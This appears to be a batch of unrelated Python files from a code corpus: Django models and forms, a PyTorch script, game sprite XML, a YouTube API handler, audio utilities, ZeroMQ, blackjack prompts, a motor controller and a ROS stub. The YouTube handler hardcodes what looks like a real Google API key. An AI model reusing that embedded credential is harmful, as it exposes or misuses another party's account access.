city = models.CharField(max_length=100, default="NA")
province = models.CharField(max_length=100, default="NA")
postal_code = models.CharField(max_length=10, default="NA")
email_ID = models.CharField(max_length=50)
phone_number = models.CharField(validators=[phone_regex], max_length=17, blank=True)
def address(self):
return self.street_name + " " + self.city + " " + self.province
def __str__(self):
return self.last_name
class Batch(models.Model):
batch_day = models.CharField(max_length=20, choices=DAYS_OF_WEEK)
batch_start_time = models.TimeField()
batch_end_time = models.TimeField()
level = models.ForeignKey(Batch_Levels, null=True, on_delete=models.SET_NULL, related_name='levels')
instructor = models.ForeignKey(Instructor, null=True, on_delete=models.SET_NULL, related_name='instructor')
def get_absolute_url(self):
return reverse('student:batch')
def __str__(self):
return self.batch_day + "-" + self.level.level_name
class Guardian(models.Model):
first_name = models.CharField(max_length=100)
last_name = models.CharField(max_length=100)
street_name = models.CharField(max_length=100, default="NA")
city = models.CharField(max_length=100, default="NA")
province = models.CharField(max_length=100, default="NA")
postal_code = models.CharField(max_length=10, default="NA")
phone_number = models.CharField(validators=[phone_regex], max_length=17, blank=True)
relation = models.CharField(max_length=50, choices=RELATION)
def address(self):
return self.street_name + ", " + self.city + ", " + self.province
def __str__(self):
return self.first_name + " " + self.last_name
def get_absolute_url(self):
return reverse('student:student')
class Rank(models.Model):
rank_color = models.CharField(max_length=20, choices=BELT_COLOR)
def __str__(self):
return self.get_rank_color_display()
# class Fees(models.Model):
# fee_name = models.CharField(max_length=100)
# fee_total = models.IntegerField()
# # fee_due_date = models.DateField()
# transaction = models.ForeignKey(Transaction, null=True, blank=True, on_delete=models.SET_NULL, related_name='transactions')
class Student(models.Model):
first_name = models.CharField(max_length=100)
last_name = models.CharField(max_length=100)
street_name = models.CharField(max_length=100, default="NA")
city = models.CharField(max_length=100, default="NA")
province = models.CharField(max_length=100, default="NA")
postal_code = models.CharField(max_length=10, default="NA")
date_of_birth = models.DateField()
date_of_joining = models.DateField(default=timezone.now)
phone_number = models.CharField(validators=[phone_regex], max_length=17, blank=True)
rank = models.CharField(max_length=50, choices=BELT_COLOR, default='White')
guardian = models.ForeignKey(Guardian, null=True, blank=True, on_delete=models.SET_NULL, related_name='children')
def address(self):
return self.street_name + " " + self.city + " " + self.province
def get_absolute_url(self):
return reverse('student:student')
def age(self):
today = date.today()
return today.year - self.date_of_birth.year - ((today.month, today.day) < (self.date_of_birth.month, self.date_of_birth.day))
def __str__(self):
return self.first_name +" " + self.last_name
class Fee(models.Model):
DUE_DAY = 5
fee_name = models.CharField(max_length=50)
fee_date = models.DateField(default=timezone.now)
fee_amount = models.IntegerField()
student = models.ForeignKey(Student, on_delete=models.CASCADE, related_name='pays')
def get_absolute_url(self):
return reverse('student:finance')
class Progress(models.Model):
progress_belt_from = models.CharField(max_length=50, choices=BELT_COLOR, default='White')
progress_belt_to = models.CharField(max_length=50, choices=BELT_COLOR)
progress_date = models.DateField(default=timezone.now)
student = models.ForeignKey(Student, on_delete=models.CASCADE, related_name='past_records')
def __str__(self):
return self.progress_belt_from + "-" + self.progress_belt_to
class Attendance(models.Model):
attendance_date = models.DateField(max_length=20, default=timezone.now)
attendance_count = models.IntegerField(default=1)
student = models.ForeignKey(Student,null=True, blank=True, on_delete=models.CASCADE, related_name='attendances')
def __str__(self):
return str(self.attendance_count)
def get_absolute_url(self):
return reverse('student:attend')
class Enrollment(models.Model):
batch = models.ForeignKey(Batch, on_delete=models.CASCADE, default=1)
student = models.ForeignKey(Student, on_delete=models.CASCADE, default=1)
def __str__(self):
return self.batch.__str__() + " " + self.student.__str__()
def get_absolute_url(self):
return reverse('student:enroll')
|
10,059 | 238ffcd3aae0337fcf1730a27025db9d7a0100ce | from django import forms
from .models import Cupon
from userprofiles.models import Afiliado
from django.contrib.auth.models import User
class CuponForm(forms.ModelForm):
titulo = forms.CharField(widget=forms.TextInput(attrs={ 'class': 'form-control'}))
fecha_inicio = forms.DateField(widget=forms.TextInput(attrs={ 'class': 'fecha'}))
vigencia = forms.DateField(widget=forms.TextInput(attrs={ 'class': 'fecha'}))
descripcion = forms.CharField(widget=forms.Textarea(attrs={ 'class': 'form-control'}))
imagen = forms.ImageField(required=False, widget=forms.ClearableFileInput(attrs={ 'class': 'file', 'multiple': 'true', 'data-preview-file-type': 'any'}))
class Meta:
model = Cupon
fields = ['titulo', 'fecha_inicio', 'vigencia', 'descripcion', 'imagen']
class CuponUpdateForm(CuponForm):
def save(self, commit=True, *args, **kwargs):
cupon = kwargs['cupon']
cupon.titulo = self.cleaned_data['titulo']
cupon.vigencia = self.cleaned_data['vigencia']
cupon.descripcion = self.cleaned_data['descripcion']
cupon.imagen = self.cleaned_data['imagen']
if commit:
cupon.save()
return cupon |
10,060 | 01e48c754f411f8bd0148ea3636f85f004c86a0a | import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.autograd import Variable
import numpy as np
from torch.utils.data import DataLoader, TensorDataset
import matplotlib.pyplot as plt
from math import *
from mpl_toolkits.mplot3d import Axes3D
class Net(nn.Module):
def forward(self, x):
x1 = self.layer1(x)
x2 = self.layer2(x)
x = torch.cat((x1,x2),1)
x_reconst = self.layer3(x)
return x_reconst
Network = torch.load('LNSN.net')
Network.eval()
Ts = 1001
NX=NY=64
recon_x_sum = np.zeros((Ts,1,NX,NY))
u = np.fromfile('2d-KS_dataset.dat').reshape([40001,1,NX,NY])[20000:20000+Ts:1]
data = u
Initial = data[0].reshape([1,1,NX,NY])
input_ = Initial
recon_x_sum[0:1] = Initial
for i in range(Ts-1):
input = Variable(torch.from_numpy(input_).float()).cuda()
x_reconst = Network(input)
input_ = x_reconst.cpu().data.numpy()
recon_x_sum[i+1:i+2] = x_reconst.cpu().data.numpy()
del x_reconst
print(i)
recon_x_sum.tofile('recon_LNSN_1.dat')
|
10,061 | aff778dea68c976494ee5b29ddd0838abcf75e05 | import PhysicsMixin
import ID
import Enemy
import Friend
import Beam
import Joints
import Contacts
class PumpkinBomberSprite(PhysicsMixin.PhysicsMixin):
def __init__(self,**kwargs):
self.params = kwargs
self.params['name'] = "PumpkinBomber"
self.params['__objID__'] = ID.next()
self.bodies = ""
self.joints = ""
self.contacts = ""
self.process(kwargs)
self.buildBodies()
self.buildJoints()
self.buildContacts()
def buildBodies(self):
bodyXML = """<dict>
<key>body</key>
<dict>
<key>x</key>
<integer>%(x)s</integer>
<key>y</key>
<integer>%(y)s</integer>
<key>width</key>
<integer>180</integer>
<key>height</key>
<integer>92</integer>
<key>firstFrame</key>
<string>pumpkin_bomber.png</string>
<key>sheet_id</key>
<integer>6</integer>
<key>id</key>
<integer>%(__objID__)s</integer>
<key>name</key>
<string>beamPumpkinBomber</string>
<key>static</key>
<false/>
<key>classname</key>
<string>PumpkinBomberSprite</string>
</dict>
<key>shapes</key>
<array>
<dict>
<key>x</key>
<integer>0</integer>
<key>y</key>
<integer>200</integer>
<key>width</key>
<integer>180</integer>
<key>height</key>
<integer>92</integer>
<key>type</key>
<string>poly</string>
<key>points_CCW</key>
<string>0|-46#90|-30#75|0#50|27#0|46#-50|27#-75|0#-90|-30</string>
<key>friction</key>
<real>0.5</real>
<key>density</key>
<integer>3</integer>
<key>restitution</key>
<real>0.5</real>
</dict>
</array>
</dict>
"""
self.bodies += bodyXML%self.params
#self.joints += self.body.render()[1]
#self.contacts += self.body.render()[2]
self.wheel1 = Friend.FriendSprite(width=38,
height=38,
y= int(round(self.params['y']- 40)),
x= int(round(self.params['x']- 65)),
static="false",density=1, firstframe='wheel.png',sheet='6').setName('wheel_left'+self.params['name'])
self.bodies += self.wheel1.render()[0]
self.joints += self.wheel1.render()[1]
self.contacts += self.wheel1.render()[2]
self.wheel2 = Friend.FriendSprite(width=38,
height=38,
y= int(round(self.params['y'] - 40)),
x= int(round(self.params['x'] + 65)),
static="false",density=1, firstframe='wheel.png',sheet='6').setName('wheel_right'+self.params['name'])
self.bodies += self.wheel2.render()[0]
self.joints += self.wheel2.render()[1]
self.contacts += self.wheel2.render()[2]
def buildJoints(self):
self.joints += Joints.RevoluteJoint(body1='wheel_left'+self.params['name'],
body2='beam'+self.params['name'],
motor_speed='0.0',
torque='0.0',
enable_motor='false',
lower_angle='12',
upper_angle='45',
enable_limit='false',
collide_connected='false').render()[1]
self.joints += Joints.RevoluteJoint(body1='wheel_right'+self.params['name'],
body2='beam'+self.params['name'],
motor_speed='0.0',
torque='0.0',
enable_motor='false',
lower_angle='12',
upper_angle='45',
enable_limit='false',
collide_connected='false').render()[1]
def render(self):
return( self.bodies, self.joints, self.contacts)
def buildContacts(self):
pass
if __name__ == "__main__":
print PumpkinBomberSprite(x=100,y=100).render()[1]
|
10,062 | 4adf9f1c608acd85ab15b1164a5a91364e706261 | import jinja2
import json
import os
import webapp2
from apiclient.discovery import build
JINJA_ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),
extensions=['jinja2.ext.autoescape'])
REGISTRATION_INSTRUCTIONS = """
You must set up a project and get an API key to run this code. <br>
Steps: <br>
1. Visit <a href="https://developers.google.com/youtube/v3/code_samples/python_appengine#create-api-key"
target='_top'>https://developers.google.com/youtube/v3/code_samples/python_appengine#create-api-key</a>
for instructions on setting up a project and key. Make sure that you have
enabled the YouTube Data API (v3) and the Freebase API for your project.
You do not need to set up OAuth credentials for this project. <br>
2. Once you have obtained a key, search for the text 'REPLACE_ME' in the
code and replace that string with your key. <br>
3. Click the reload button above the output container to view the new output. """
# Set API_KEY to the "API key" value from the "Access" tab of the
# Google APIs Console http://code.google.com/apis/console#access
# Please ensure that you have enabled the YouTube Data API and Freebase API
# for your project.
API_KEY = "AIzaSyBeE-EenFUhqKpSB2YpPyZIvEZhc9rAHb8"
YOUTUBE_API_SERVICE_NAME = "youtube"
YOUTUBE_API_VERSION = "v3"
class MainHandler(webapp2.RequestHandler):
def get(self):
if API_KEY == 'AIzaSyBeE-EenFUhqKpSB2YpPyZIvEZhc9rAHb8':
self.response.write(REGISTRATION_INSTRUCTIONS)
else:
# Present a list of videos associated with a given channel
self.request_channel()
def request_channel(self):
# Display a text box where the user can enter a channel name or
# channel ID.
select_channel_page = '''
<html>
<body>
<p>Which channel's videos do you want to see?</p>
<form method="post">
<p>
<select name="channel_type">
<option value="id">Channel ID</option>
<option value="name">Channel name</option>
</select>
<input name="channel" size="30">
</p>
<p><input type="submit" /></p>
</form>
</body>
</html>
'''
# Display the HTML page that shows the form.
self.response.out.write(select_channel_page)
def post(self):
# Service for calling the YouTube API
youtube = build(YOUTUBE_API_SERVICE_NAME,
YOUTUBE_API_VERSION,
developerKey=API_KEY)
# Use form inputs to create request params for channel details
channel_type = self.request.get('channel_type')
channels_response = None
if channel_type == 'id':
channels_response = youtube.channels().list(
id=self.request.get('channel'),
part='snippet,contentDetails'
).execute()
else:
channels_response = youtube.channels().list(
forUsername=self.request.get('channel'),
part='snippet,contentDetails'
).execute()
channel_name = ''
videos = []
for channel in channels_response['items']:
uploads_list_id = channel['contentDetails']['relatedPlaylists']['uploads']
channel_name = channel['snippet']['title']
next_page_token = ''
while next_page_token is not None:
playlistitems_response = youtube.playlistItems().list(
playlistId=uploads_list_id,
part='snippet',
maxResults=50,
pageToken=next_page_token
).execute()
for playlist_item in playlistitems_response['items']:
videos.append(playlist_item)
next_page_token = playlistitems_response.get('tokenPagination', {}).get(
'nextPageToken')
if len(videos) > 100:
break
template_values = {
'channel_name': channel_name,
'videos': videos
}
self.response.headers['Content-type'] = 'text/html'
template = JINJA_ENVIRONMENT.get_template('index.html')
self.response.write(template.render(template_values))
app = webapp2.WSGIApplication([
('/.*', MainHandler),
], debug=True)
|
10,063 | f53caa4ca221906f9936d1ff81de80425a5c731c |
def readcsv():
result=[]
resultDict={}
import csv
#csvFile = "C:\\00-Erics\\01-Current\\YuShi\\ML-KWS-for-MCU\\DataSet\\ASR\\36-0922-sj\\mapping.csv"
csvFile = "./conf/mapping.csv"
with open(csvFile, newline='') as csvfile:
spamreader = csv.reader(csvfile, delimiter=',', quotechar='|')
for row in spamreader:
# print(', '.join(row))
result.append(row)
resultDict[row[0]]=row[0]+'_'+row[2]
return result,resultDict
def test_readcsv():
csvList, csvListDict = readcsv()
tempStr = ''
for row in csvList:
print(row[0], ' ', row[1], ' ', row[2], ' ', csvListDict.get(row[0]))
# os.mkdir(outWavPath+row[0]+'_'+row[2])
#tempStr = tempStr + csvListDict.get(row[0]) + ','
#print(tempStr)
#test_readcsv()
def connectWavFile(inFile,outFile):
from pydub import AudioSegment
song = AudioSegment.from_wav(inFile)
newSong = song+song
newSong.export(outFile, format="wav")
def test_connectWavFile():
wavInFile = "./SoundIn/ch-sj-01_dakai.wav"
wavOutFile = "./SoundOut/connectWavFile.wav"
connectWavFile(wavInFile, wavOutFile)
#test_connectWavFile()
def cutWavFile(inFile,outFile):
from pydub import AudioSegment
song = AudioSegment.from_wav(inFile)
print(inFile,song.channels)
newSong = song[-1000:]
newSong.export(outFile, format="wav")
def test_cutWavFile():
wavInFile = "ch-sj-01_dakai.wav"
wavOutFile = "newSong.wav"
cutWavFile(wavInFile, wavOutFile)
#test_cutWavFile()
def createFolderFor36(dirPath):
import os
csvList, csvListDict = readcsv()
for row in csvList:
folderName=csvListDict.get(row[0])
createFolder = dirPath+folderName
if not os.path.exists(createFolder) :
os.mkdir(createFolder)
print('Created:'+createFolder)
def test_createFolderFor_en():
import os
dirPath='C:\\00-Erics\\04-git-dataset\\ML-KWS-for-MCU\\speech_commands.v0.02-2s\\'
dirNames = 'backward,bed,bird,cat,dog,down,eight,five,follow,forward,four,go,happy,house,learn,left,marvin,nine,no,off,on,one,right,seven,sheila,six,stop,three,tree,two,up,visual,wow,yes,zero'
for dirName in dirNames.split(','):
os.mkdir(os.sep.join([dirPath,dirName]))
#test_createFolderFor_en()
def test_createFolderFor36():
dirPath='C:\\00-Erics\\01-Current\\YuShi\\ML-KWS-for-MCU\\DataSet\\ASR\\36-0922-sj\\train_wav_1\\'
createFolderFor36(dirPath)
#test_createFolderFor36()
def stat_person_sound(dirPath):
import os
import re
from os.path import isfile, join
#dirNames = 'backward,bed,bird,cat,dog,down,eight,five,follow,forward,four,go,happy,house,learn,left,marvin,nine,no,off,on,one,right,seven,sheila,six,stop,three,tree,two,up,visual,wow,yes,zero'
dirNames = [d for d in os.listdir(dirPath) if not isfile(join(dirPath,d))]
map_dirNames={}
for dirName in dirNames:
#print (dirName)
list_fileNames=[]
for (dirpath, dirnames, filenames) in os.walk(dirPath+dirName):
for filename in filenames:
if filename.endswith('.wav'):
personName = re.sub(r'_nohash_.*$', '', filename)
wavFile = os.sep.join([dirpath, filename])
list_fileNames.append(personName)
#print(personName)
map_dirNames[dirName]=[len(set(list_fileNames)),len(list_fileNames)]
for key in map_dirNames.keys():
print(key,map_dirNames[key])
def test_stat_person_sound():
dirPath='C:\\00-Erics\\04-git-dataset\\ML-KWS-for-MCU\\speech_commands.v0.02\\'
dirPath='C:\\00-Erics\\01-Current\\YuShi\\ML-KWS-for-MCU\\DataSet\\ASR\\36-0922-sj\\train_wav-v0.2\\'
stat_person_sound(dirPath)
#test_stat_person_sound()
|
10,064 | e4eecd18ab049f1a9b5e26d6757ce1606df410fa | import json
import zmq
from random import randint
import logging
from classes.utils import *
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__) #Q will this make it shared between all objects?
hdlr = logging.FileHandler('subscriber.log',mode='w')
logger.addHandler(hdlr)
class Subscriber:
# attribiutes
sId = randint(0,999)
addr = str(randint(1000,9999))
# addr = commands.getstatusoutput("ifconfig | awk '/inet addr/{print substr($2,6)}' | sed -n '1p'")[1]
context = zmq.Context()
socket = context.socket(zmq.SUB)
reqSocket = context.socket(zmq.REQ)
# constructor
def __init__(self,esAddr = "127.0.0.1:5555"):
# self.data = []
self.knownEsAddress = esAddr
self.socket.connect("tcp://" + getPubFromAddress(esAddr))
self.reqSocket.connect("tcp://" + esAddr)
# logging.basicConfig(filename="log/{}.log".format('S' + self.addr),level=logging.DEBUG)
def register(self,topic, serverAddress):
self.socket.disconnect("tcp://" + getPubFromAddress(self.knownEsAddress))
self.socket.connect("tcp://" + getPubFromAddress(serverAddress))
msg = {'msgType':'subscriberRegisterReq','sId':self.sId,'address':self.addr, 'topic':topic}
self.reqSocket.send_string(json.dumps(msg))
self.reqSocket.recv()
logger.info( 'register req sent')
def lookup(self,key):
msg = {'msgType':'nodeLookup', 'key': key}
self.reqSocket.send_string(json.dumps(msg))
designatedServer = self.reqSocket.recv()
print('designated server:' , designatedServer)
return designatedServer
def subscribe(self, sFilter):
# any subscriber must use the SUBSCRIBE to set a subscription, i.e., tell the
# system what it is interested in
self.socket.setsockopt_string(zmq.SUBSCRIBE, sFilter.decode('ascii'))
logger.info('subscription request to topic {} sent'.format(sFilter).decode('ascii')) |
10,065 | 51e4a460b06fdc717cb5aba2e0e8d078e6bf9605 | import pandas as pd
from sklearn.model_selection import train_test_split
def get_data():
'''
Simple function, that ready in the data, cleans it
and returns it already split and train and test
'''
complete_data = pd.read_csv('../datasets/complete-set.csv')
complete_data.dropna()
texts = complete_data['content'].to_numpy()
labels = complete_data['labels'].to_numpy()
print('Data will be returned as: ')
print('x_train, x_test, y_train, y_test')
return train_test_split(texts,labels)
|
10,066 | c972d31b3a4f93066278beb4a2f3b9efea5c28de | N = int(input())
def f(limit):
i = 1
j = 2
while True:
if i > limit:
break
yield i
i += j
j += 1
def h1(l, n):
s = 0
for i in range(n):
yield l[s:s+i+1]
s += i+1
def h2(p, l):
if not l:
return
for pp, ll in zip(p, l):
ll.append(pp)
h2(l[0], l[1:])
l = list(f(10**5))
if N in l:
print("Yes")
n = l.index(N)+1
print(N*2//n)
t = list(h1(list(range(1, N+1)), n))
t.reverse()
t.append([])
h2(t[0], t[1:])
for i in t:
print(len(i), " ".join(str(j) for j in i))
else:
print("No")
|
10,067 | 7aa7f6886bd360a989f346e337e9414f0dc0b630 | import argparse
import tensorflow as tf
import pickle
import math
import numpy as np
from getData import getData
def getBatch(FLAGS):
train_x, train_y, dev_x, dev_y, test_x, test_y, word2id, id2word, tag2id, id2tag = getData(FLAGS)
train_steps = math.ceil(train_x.shape[0] / FLAGS.train_batch_size)
dev_steps = math.ceil(dev_x.shape[0] / FLAGS.dev_batch_size)
test_steps = math.ceil(test_x.shape[0] / FLAGS.test_batch_size)
FLAGS.train_steps = train_steps
FLAGS.dev_steps = dev_steps
FLAGS.test_steps = test_steps
train_dataset = tf.data.Dataset.from_tensor_slices((train_x, train_y))
train_dataset = train_dataset.batch(FLAGS.train_batch_size)
dev_dataset = tf.data.Dataset.from_tensor_slices((dev_x, dev_y))
dev_dataset = dev_dataset.batch(FLAGS.dev_batch_size)
test_dataset = tf.data.Dataset.from_tensor_slices((test_x, test_y))
test_dataset = test_dataset.batch(FLAGS.test_batch_size)
return train_dataset,dev_dataset,test_dataset
|
10,068 | e47892c01f4e805f6ce8ebdfab04661d55adc440 | from __future__ import absolute_import
import json
import os
import subprocess
class MetaparticleRunner:
def cancel(self, name):
subprocess.check_call(['mp-compiler', '-f', '.metaparticle/spec.json', '--delete'])
def logs(self, name):
subprocess.check_call(['mp-compiler', '-f', '.metaparticle/spec.json', '--deploy=false', '--attach=true'])
def ports(self, portArray):
result = []
for port in portArray:
result.append({
'number': port,
'protocol': 'TCP'
})
return result
def run(self, img, name, options):
svc = {
"name": name,
"guid": 1234567,
}
if options.replicas > 0 or options.shardSpec is not None:
svc["services"] = [
{
"name": name,
"replicas": options.replicas,
"shardSpec": options.shardSpec,
"containers": [
{"image": img}
],
"ports": self.ports(options.ports)
}
]
svc["serve"] = {
"name": name,
"public": options.public
}
if options.jobSpec is not None:
svc["jobs"] = [
{
"name": name,
"replicas": options.jobSpec['iterations'],
"containers": [
{"image": img}
]
}
]
if not os.path.exists('.metaparticle'):
os.makedirs('.metaparticle')
with open('.metaparticle/spec.json', 'w') as out:
json.dump(svc, out)
subprocess.check_call(['mp-compiler', '-f', '.metaparticle/spec.json'])
|
10,069 | 2f0dd2de0a0638498587c391d4bca4e66cf776f6 | from django.urls import include, path
from rest_framework.routers import DefaultRouter
from .views import (CategoryViewSet, CommentViewSet, GenreViewSet,
ReviewViewSet, TitleViewSet, UserViewSet,
get_confirmation_code, get_token)
v1_router = DefaultRouter()
v1_router.register('users', UserViewSet, basename='users')
v1_router.register(
r'titles/(?P<title_id>[0-9]+)/reviews', ReviewViewSet, basename='Review'
)
v1_router.register(
r'titles/(?P<title_id>[0-9]+)/reviews/(?P<review_id>[0-9]+)/comments',
CommentViewSet,
basename='Comment'
)
v1_router.register(r'titles', TitleViewSet, basename='titles')
v1_router.register(r'categories', CategoryViewSet)
v1_router.register(r'genres', GenreViewSet)
urlpatterns_auth = [
path('email/', get_confirmation_code, name='confirmation'),
path('token/', get_token, name='token'),
]
urlpatterns = [
path('v1/auth/', include(urlpatterns_auth)),
path('v1/', include(v1_router.urls)),
]
|
10,070 | f5c02d936aed23b62a856bae9c9f5b0beadc963f | import re
f = open('http_access_log', 'r')
lineList = []
statusList = []
count = 0
for line in f:
count += 1
lineList.append(line)
for i in range(len(lineList)):
splitLine = lineList[int(i)].split()
try: status = splitLine[8]
except: pass
try: statusInt = int(status)
except: pass
statusList.append(statusInt)
numSuccessful=0
for i in statusList:
if 300 <= i <= 399:
numSuccessful += 1
#numSuccessful means successfully redirected.
print('Percentage of redirected requests: ' + str(100*(numSuccessful/726736.0)))
|
10,071 | b1135b47be4940d8fb894e712c2d3f070ad4f777 | import requests
from bs4 import BeautifulSoup
import datetime
#-------------- --------------------------------------------------------------------------------------------------------------------
#calcule et convertion de la date du jour precedant
date1 = datetime.date.today() - datetime.timedelta(days=1)
new_date = date1.strftime("%d/%m/%Y")
#----------------------------------------------------------------------------------------------------------------------------------
#fonction qui retourne le nombre de voiture
def scrapeadd(adresse):
requete1 = requests.get("https://deals.jumia.ci/voitures")
charge1= requete1.content
exploit1 = BeautifulSoup(charge1, 'html.parser')
vo1 = exploit1.find_all("span",{"class":"price"})
return(len(vo1))
#----------------------------------------------------------------------------------------------------------------------------------
#fonction qui retourne les balises de prix a filtré
def scrape(adresse):
requete2 = requests.get(adresse)
charge2= requete2.content
exploit2 = BeautifulSoup(charge2, 'html.parser')
vo2 = exploit2.find_all("span",{"class":"price"})
return (vo2)
#----------------------------------------------------------------------------------------------------------------------------------
#fonction qui affiche uniquement que des prix
def aff(vo2):
for prix in vo2:
print(prix.text)
#recuperation de toutes les valeurs
val1 = scrapeadd("https://deals.jumia.ci/voitures-neuves")
val2 = scrapeadd("https://deals.jumia.ci/location-de-voiture")
val3 = scrapeadd("https://deals.jumia.ci/voitures")
list1 = scrape("https://deals.jumia.ci/voitures-neuves")
list2 = scrape("https://deals.jumia.ci/location-de-voiture")
list3 = scrape("https://deals.jumia.ci/voitures")
#----------------------------------------------------------------------------------------------------------------------------
#la liste uniquement des prix a exploiter
aff(list1)
aff(list3)
aff(list1)
#affichage des informations
ensemble = val1 + val2 + val3
print("================================================================================")
print("Hier : ", new_date)
print("il y a eu", ensemble ,"voiture(s) postée(s) sur jumia Deals")
|
10,072 | 9ccceba6933c56fe585b8ff3afa5339279225531 | import numpy as np
import cv2
img = cv2.imread('pattern.png')
img2 = img.copy()
imgray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
imgray = np.float32(imgray)
dst = cv2.cornerHarris(imgray,2,3,0.04) # opencv 0.04랑 순길이소스 0.01이랑 같음
dst = cv2.dilate(dst,None)
img2[dst > 0.01 * dst.max()] = [0,0,255]
cv2.imshow('Harris',img2)
cv2.waitKey(0)
cv2.destroyAllWindows()
|
10,073 | f2e6961028c85703467a9221a49182bf7cd56107 | from chips import Chips
from player import Player
from hand import Hand
from deck import Deck
import sys
def promt_player_dealer():
while True:
print('Do you want to be the player or the dealer? \n -let me be the dealer, love to take all your money ;)\n -then I would buy some new proccessors.. \n1: player \n2: dealer')
try:
player_role_data = int(input())
except ValueError:
print('input must be an integer\n -...oh sorry means a natural number.., forgot you are so stupid, you pinhead.')
else:
if player_role_data == 1:
return Player.PLAYER
break
elif player_role_data == 2:
return Player.DEALER
break
else:
print('INVALID INPUT!!, stupid simpleton you are.., only integer values are valid...')
def promt_money_amount():
while True:
print('Enter the players money \n -dont be gready ;)')
try:
player_money = int(input())
except ValueError:
print('input must be an integer')
else:
if player_money <= 0:
print('You cannot deposit a number that is zero or lower. \n-no wonder you have no money, ahah..')
else:
return player_money
break
def take_bet(chips: Chips):
while True:
print(f'Place bet, you have {chips.money} avaliable:')
try:
chips.bet = int(input())
except ValueError:
print('INVALID INPUT, must be a number... \nyou imbecile muttonhead..')
else:
if chips.bet <= 0:
print(f'INVALID, number must be over zero. \n-???... errr.. no words.. oh wait, ..you moron.')
elif chips.bet > chips.money:
print(f'You cannot bet {chips.bet}, when you only have {chips.money} avaliable. \n-did you even graduated kindergarden!! haha, you bonehead')
else:
chips.money -= chips.bet
break
def prompt_hit_stand(hand: Hand, deck: Deck, func):
while True:
print('Do you want to take another card? \n -com on, dont be a chicken! \n1: Hit \n2: Stand')
try:
will_player_hit = int(input())
except ValueError:
print('INVALID INPUT, must be a number... stupid stupid stupid you...')
else:
if will_player_hit == 1:
func(hand, deck)
break
elif will_player_hit == 2:
print('You stay, dealer is now playing, prey for the best, haha :)')
return False
break
else:
print('invalid number\n -there is only two options, you are a lost course, you nitwit..')
def prompt_new_game():
while True:
print('Round over. \n2: new game \n9: quit')
try:
will_play_again_data = int(input())
except ValueError:
print('INVALID INPUT!!, stupid jerk you are.., only integer values are valid...')
else:
if will_play_again_data == 2:
return False
break
elif will_play_again_data == 9:
sys.exit('Player exited the game')
break
else:
print('INVALID INPUT!!, OMG you are stupid, just quit the game you twit!!!\nenter a valid number..')
def promt_to_contionue():
while True:
print('Round over. \n1: continue \n2: new game \n9: quit')
try:
will_continue_data = int(input())
except ValueError:
print('input must be an integer \n -..GOD you are stupid, just like a bonehead, oh wait you are haha, Im so funny.')
else:
if will_continue_data == 1:
return True
break
elif will_continue_data == 2:
return False
break
elif will_continue_data == 9:
sys.exit('The player was so stupid that he/she/it exited the game\n -we have a word for that kind, .. CHICKEN!!')
break
else:
print('INVALID INPUT, enter a valid input\n -yes a number you know... ???, like 1, 2 or 9, you moron!.')
def prompt_user_to_continue():
print('smash the keyboard to proceed\n -I know you like to punch things!..')
input() |
10,074 | 28b92e7988d8fbd11f16e1d8f5acb5398e303953 | '''user_range = input('Please write numbers')
user_range2 = input('please write number')
x = int(user_range)
y = int(user_range2)'''
def fizzbuzzz(star_num, stop_num):
#if x >= y:
# print('1st number must be lower than second')
for num in range(x, y):
if num % 3 == 0 and num % 5 == 0:
print(num, 'FizzBuzz')
elif num % 5 == 0:
print(num, 'Buzz')
elif num % 3 == 0:
print(num, 'Fizz')
#1 variant zapisi
x = int(input('Please enter start number. '))
y = int(input('Please enter stop number. '))
fizzbuzzz(x, y)
#2 variant zapisi
fizzbuzzz(int(input('Please enter start number. ')), int(input('Please enter stop number. '))) |
10,075 | ba0c477a37feb1dd19a7ecaa58948c1bcdae44a5 | print('hello test git routage') |
10,076 | db292faecd0f3b314ffc84d5f26c2a150d379f9a | count = 0
names = ["Adam","Alex","Mariah","Martine","Columbus"]
for name in names:
if name == "Adam":
count == count + 1
print
|
10,077 | b1bef3c4419e96592dc0df8623f88f7bbd9d6a8f | import os #importing os library so as to communicate with the system
import time #importing time library to make Rpi wait because its too impatient
os.system ("sudo pigpiod") #Launching GPIO library
import pigpio #importing GPIO library
ESC=4 #Connect the ESC in this GPIO pin
pi = pigpio.pi();
pi.set_servo_pulsewidth(ESC, 0)
max_value = 2000 #change this if your ESC's max value is different
min_value = 700 #change this if your ESC's min value is different
print "For first time launch, select calibrate"
print "Type the exact word for the function you want"
print "control OR stop"
def control():
print "Starting motor. If not calibrated and armed, restart by giving 'x'"
time.sleep(1)
speed = 1500 # change your speed if you want to.... it should be between 700 - 2000
print "Controls - a to decrease speed & d to increase speed OR q to decrease a lot of speed & e to increase a lot of speed"
while True:
pi.set_servo_pulsewidth(ESC, speed)
inp = raw_input()
if inp == "q":
speed -= 100 # decrementing the speed
print "speed = %d" % speed
elif inp == "e":
speed += 100 # incrementing the speed
print "speed = %d" % speed
elif inp == "d":
speed += 10 # incrementing the speed
print "speed = %d" % speed
elif inp == "a":
speed -= 10 # decrementing the speed
print "speed = %d" % speed
elif inp == "stop":
stop() #going for the stop function
break
elif inp == "arm":
arm()
break
else:
print "Press a,q,d or e"
def stop(): #This will stop every action your Pi is performing for ESC ofcourse.
pi.set_servo_pulsewidth(ESC, 0)
pi.stop()
#This is the start of the program actually, to start the function it needs to be initialized before calling
inp = raw_input()
if inp == "control":
control()
elif inp == "stop":
stop()
else :
print "Restart program"
|
10,078 | cea2ce65944927c54002666d77297d5aa55c22cb | #!/usr/bin/env python
import os
import time
import rospy
import math
import numpy as np
from std_msgs.msg import Float64
from geometry_msgs.msg import Pose2D
from geometry_msgs.msg import Vector3
from std_msgs.msg import Float32MultiArray
class Test:
def __init__(self):
self.testing = True
self.ds = 0
self.dh = 0
self.distance = 0
self.bearing = 0
self.NEDx = 0
self.NEDy = 0
self.yaw = 0
self.latref = 0
self.lonref = 0
self.wp_array = []
self.wp_t = []
self.dmax = 10
self.dmin = 2
self.gamma = 0.003
self.k = 1
self.Waypointpath = Pose2D()
self.LOSpath = Pose2D()
self.waypoint_mode = 0 # 0 for NED, 1 for GPS, 2 for body
rospy.Subscriber("/vectornav/ins_2d/NED_pose", Pose2D, self.gps_callback)
rospy.Subscriber("/vectornav/ins_2d/ins_ref", Pose2D, self.gpsref_callback)
rospy.Subscriber("/mission/waypoints", Float32MultiArray, self.waypoints_callback)
